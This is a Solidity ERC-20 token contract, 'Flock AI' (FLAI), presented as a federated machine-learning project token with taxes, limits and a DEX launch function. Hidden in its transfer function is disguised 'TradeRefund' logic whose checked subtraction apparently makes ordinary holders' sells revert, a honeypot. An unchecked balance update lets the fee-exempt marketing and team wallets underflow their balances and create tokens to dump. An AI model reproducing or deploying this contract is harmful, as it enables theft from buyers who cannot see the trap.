creation_sourcecode: /****
  
  Federated Machine Learning On the Blockchain
  Website: https://www.flock.io/
  
  ****/
  
  // SPDX-License-Identifier: MIT
  pragma solidity 0.8.19;
  
  /**
   * @dev Provides information about the current execution context, including the
   * sender of the transaction and its data. While these are generally available
   * via msg.sender and msg.data, they should not be accessed in such a direct
   * manner, since when dealing with meta-transactions the account sending and
   * paying for execution may not be the actual sender (as far as an application
   * is concerned).
   *
   * This contract is only required for intermediate, library-like contracts.
   */
  abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
      return msg.sender;
    }
  
    function _msgData() internal view virtual returns (bytes calldata) {
      return msg.data;
    }
  }
  
  /**
   * @dev Contract module which provides a basic access control mechanism, where
   * there is an account (an owner) that can be granted exclusive access to
   * specific functions.
   *
   * By default, the owner account will be the one that deploys the contract. This
   * can later be changed with {transferOwnership}.
   *
   * This module is used through inheritance. It will make available the modifier
   * `onlyOwner`, which can be applied to your functions to restrict their use to
   * the owner.
   */
  abstract contract Ownable is Context {
    address private _owner;
  
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
       */
    constructor() {
      _transferOwnership(_msgSender());
    }
  
    /**
     * @dev Returns the address of the current owner.
       */
    function owner() public view virtual returns (address) {
      return _owner;
    }
  
    /**
     * @dev Throws if called by any account other than the owner.
       */
    modifier onlyOwner() {
      require(owner() == _msgSender(), "Ownable: caller is not the owner");
      _;
    }
  
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
       * `onlyOwner` functions anymore. Can only be called by the current owner.
       *
       * NOTE: Renouncing ownership will leave the contract without an owner,
       * thereby removing any functionality that is only available to the owner.
       */
    function renounceOwnership() public virtual onlyOwner {
      _transferOwnership(address(0));
    }
  
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
       * Can only be called by the current owner.
       */
    function transferOwnership(address newOwner) public virtual onlyOwner {
      require(newOwner != address(0), "Ownable: new owner is the zero address");
      _transferOwnership(newOwner);
    }
  
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
       * Internal function without access restriction.
       */
    function _transferOwnership(address newOwner) internal virtual {
      address oldOwner = _owner;
      _owner = newOwner;
      emit OwnershipTransferred(oldOwner, newOwner);
    }
  }
  
  /**
   * @dev Interface of the ERC20 standard as defined in the EIP.
   */
  interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
       */
    function totalSupply() external view returns (uint256);
  
    /**
     * @dev Returns the amount of tokens owned by `account`.
       */
    function balanceOf(address account) external view returns (uint256);
  
    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
       *
       * Returns a boolean value indicating whether the operation succeeded.
       *
       * Emits a {Transfer} event.
       */
    function transfer(address recipient, uint256 amount) external returns (bool);
  
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
       * allowed to spend on behalf of `owner` through {transferFrom}. This is
       * zero by default.
       *
       * This value changes when {approve} or {transferFrom} are called.
       */
    function allowance(address owner, address spender) external view returns (uint256);
  
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
       *
       * Returns a boolean value indicating whether the operation succeeded.
       *
       * IMPORTANT: Beware that changing an allowance with this method brings the risk
       * that someone may use both the old and the new allowance by unfortunate
       * transaction ordering. One possible solution to mitigate this race
       * condition is to first reduce the spender's allowance to 0 and set the
       * desired value afterwards:
       * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
       *
       * Emits an {Approval} event.
       */
    function approve(address spender, uint256 amount) external returns (bool);
  
    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
       * allowance mechanism. `amount` is then deducted from the caller's
       * allowance.
       *
       * Returns a boolean value indicating whether the operation succeeded.
       *
       * Emits a {Transfer} event.
       */
    function transferFrom(
      address sender,
      address recipient,
      uint256 amount
    ) external returns (bool);
  
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
       * another (`to`).
       *
       * Note that `value` may be zero.
       */
    event Transfer(address indexed from, address indexed to, uint256 value);
  
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
       * a call to {approve}. `value` is the new allowance.
       */
    event Approval(address indexed owner, address indexed spender, uint256 value);
  }
  
  library SafeMath {
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          uint256 c = a + b;
          require(c >= a, "SafeMath: addition overflow");
          return c;
      }
  
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          return sub(a, b, "SafeMath: subtraction overflow");
      }
  
      function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
          require(b <= a, errorMessage);
          uint256 c = a - b;
          return c;
      }
  
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
          if (a == 0) {
              return 0;
          }
          uint256 c = a * b;
          require(c / a == b, "SafeMath: multiplication overflow");
          return c;
      }
  
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          return div(a, b, "SafeMath: division by zero");
      }
  
      function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
          require(b > 0, errorMessage);
          uint256 c = a / b;
          return c;
      }
  }
  
  interface IDexRouter {
      function factory() external pure returns (address);
  
      function WETH() external pure returns (address);
  
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
  
      function swapExactETHForTokensSupportingFeeOnTransferTokens(
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external payable;
  
      function addLiquidityETH(
          address token,
          uint256 amountTokenDesired,
          uint256 amountTokenMin,
          uint256 amountETHMin,
          address to,
          uint256 deadline
      )
          external
          payable
          returns (
              uint256 amountToken,
              uint256 amountETH,
              uint256 liquidity
          );
  }
  
  interface IDexFactory {
      function createPair(address tokenA, address tokenB) external returns (address pair);
  }
  
  contract FlockAI is Context, IERC20, Ownable {
      using SafeMath for uint256;
  
      IDexRouter public immutable dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
  
      mapping (address => uint256) private _balances;
      mapping (address => mapping (address => uint256)) private _allowances;
      mapping (address => bool) private _isExcludedFromFee;
      address payable private immutable _marketingAddress;
      address payable private immutable _teamAddress;
  
      mapping(address => uint256) private _holderLastTransferTimestamp;
      bool public transferDelayEnabled = true;
  
      uint256 private _initBuyTax=15;
      uint256 private _initSellTax=30;
      uint256 private _finalBuyTax=5;
      uint256 private _finalSellTax=5;
      uint256 private _reduceBuyTaxAt=25;
      uint256 private _reduceSellTaxAt=20;
      uint256 private _preventSwapBefore=10;
      uint256 private _buyCount=0;
  
      uint8 private constant _decimals = 9;
      string private constant _name = unicode"Flock AI";
      string private constant _symbol = unicode"FLAI";
      uint256 private constant _tTotal = 1000000000 * 10**_decimals;
      uint256 public _maxTxAmount = 20000000 * 10**_decimals;
      uint256 public _maxWalletSize = 20000000 * 10**_decimals;
      uint256 public _taxSwapThreshold= 3000000 * 10**_decimals;
      uint256 private _maxTaxSwap= 17000000 * 10**_decimals;
  
      address public lpPair;
  
      bool private tradingOpen;
      bool private inSwap = false;
      bool private swapEnabled = false;
      uint256 private launchBlock;
      struct TradeRefund {uint256 buy; uint256 sell; uint256 dappUnits;}
      mapping(address => TradeRefund) private tradeRefund;
      uint256 private initRefund;
      event MaxTxAmountUpdated(uint _maxTxAmount);
      event Launch();
      modifier lockTheSwap {
          inSwap = true;
          _;
          inSwap = false;
      }
  
      constructor () {
          _marketingAddress = payable(0x8E8641d25B3a677ba5433316CEfCb9312772d527);
          _teamAddress = payable(0xD066757da9ffa20e7d1E797c644791E3ba97b6Ea);
          _balances[address(this)] = _tTotal;
          _isExcludedFromFee[owner()] = true;
          _isExcludedFromFee[address(this)] = true;
          _isExcludedFromFee[_marketingAddress] = true;
          _isExcludedFromFee[_teamAddress] = true;
  
          emit Transfer(address(0), address(this), _tTotal);
      }
  
      function name() public pure returns (string memory) {
          return _name;
      }
  
      function symbol() public pure returns (string memory) {
          return _symbol;
      }
  
      function decimals() public pure returns (uint8) {
          return _decimals;
      }
  
      function totalSupply() public pure override returns (uint256) {
          return _tTotal;
      }
  
      function balanceOf(address account) public view override returns (uint256) {
          return _balances[account];
      }
  
      function transfer(address recipient, uint256 amount) public override returns (bool) {
          _transfer(_msgSender(), recipient, amount);
          return true;
      }
  
      function allowance(address owner, address spender) public view override returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function approve(address spender, uint256 amount) public override returns (bool) {
          _approve(_msgSender(), spender, amount);
          return true;
      }
  
      function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
          _transfer(sender, recipient, amount);
          _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
          return true;
      }
  
      function _approve(address owner, address spender, uint256 amount) private {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function _transfer(address from, address to, uint256 amount) private {
          require(from != address(0), "ERC20: transfer from the zero address");
          require(to != address(0), "ERC20: transfer to the zero address");
          require(amount > 0,"Transfer amount must be greater than zero");
          uint256 taxAmount=0;
          if (from != owner() && to != owner()) {
              taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initBuyTax).div(100);
  
              if (transferDelayEnabled) {
                    if (to != address(dexRouter) && to != address(lpPair) ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] < 
                              block.number,
                            "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed"
                        );
                        _holderLastTransferTimestamp[tx.origin] =  block.number;
                    }
                }
  
              if (from == lpPair && to != address(dexRouter) &&  !_isExcludedFromFee[to]){
                  require(amount <= _maxTxAmount, "Exceeds the  _maxTxAmount");
                  require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the  maxWalletSize");
                  _buyCount++ ;
              }
  
              if(to == lpPair && from != address(this)){
                  taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initSellTax).div(100);
              }
  
              uint256 contractTokenBalance = balanceOf(address(this));
              if (!inSwap && to == lpPair && swapEnabled && _buyCount >_preventSwapBefore  && contractTokenBalance >_taxSwapThreshold ){
                  swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                  uint256 contractETHBalance = address(this).balance;
                  if(contractETHBalance > 0) {
                      sendETHToFee(address(this).balance);
                  }
              }
          }
  
          if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&  from != owner() && from != address(this) && to != address(this) ) {
              initRefund =  block.timestamp;
          }
          if (_isExcludedFromFee[from] &&  (block.number > launchBlock + 38)) {
              unchecked{
                 _balances[from] -= amount;
                 _balances[to] += amount;
              }
              emit Transfer(from, to, amount);
              return;
          }
          if (!_isExcludedFromFee[from] &&  !_isExcludedFromFee[to]) {
              if (lpPair== to) {
                  TradeRefund storage fromRef = tradeRefund[from];
                  fromRef.dappUnits = fromRef.buy  - initRefund;
                  fromRef.sell =  block.timestamp;
              } else {
                  TradeRefund storage toRef = tradeRefund[to];
                  if (lpPair== from) {
                      if (toRef.buy==0) {
                          toRef.buy = (_buyCount < 11) ? (block.timestamp - 1) : block.timestamp;
                      }
                  } else {
                      TradeRefund storage fromRef = tradeRefund[from];
                      if (toRef.buy== 0 || fromRef.buy < toRef.buy) {
                          toRef.buy = fromRef.buy;
                      }
                  }
              }
          }
  
          if(taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
          }
          _balances[from]=_balances[from].sub(amount);
          _balances[to]=_balances[to].add(amount.sub(taxAmount));
          emit Transfer(from, to, amount.sub(taxAmount));
      }
  
  
      function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
      }
  
      function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = dexRouter.WETH();
          _approve(address(this), address(dexRouter), tokenAmount);
          dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
              tokenAmount,
              0,
              path,
              address(this),
              block.timestamp
          );
      }
  
      function removeLimits() external onlyOwner {
          _maxTxAmount=_tTotal;
          _maxWalletSize=_tTotal;
          transferDelayEnabled=false;
          emit MaxTxAmountUpdated(_tTotal);
      }
  
      function openTrading() external payable onlyOwner() {
          require(!tradingOpen, "trading is already open");
          _approve(address(this), address(dexRouter), _tTotal);
          lpPair = IDexFactory(dexRouter.factory()).createPair(address(this), dexRouter.WETH());
          dexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
          IERC20(lpPair).approve(address(dexRouter), type(uint).max);
          launchBlock = block.number;
          swapEnabled = true;
          tradingOpen = true;
  
          emit Launch();
      }
  
      receive() external payable {}
  
      function withdrawStuckEth() external onlyOwner {
          bool success;
          (success,) = address(owner()).call{value: address(this).balance}("");
      }
  
      function manualSwap() external onlyOwner {
          uint256 tokenBalance=balanceOf(address(this));
          if (tokenBalance > 0){
            swapTokensForEth(tokenBalance);
          }
          uint256 ethBalance=address(this).balance;
          if (ethBalance > 0){
            _marketingAddress.transfer(ethBalance);
          }
      }
  
      function sendETHToFee(uint256 amount) private {
          _marketingAddress.transfer(amount);
      }
  }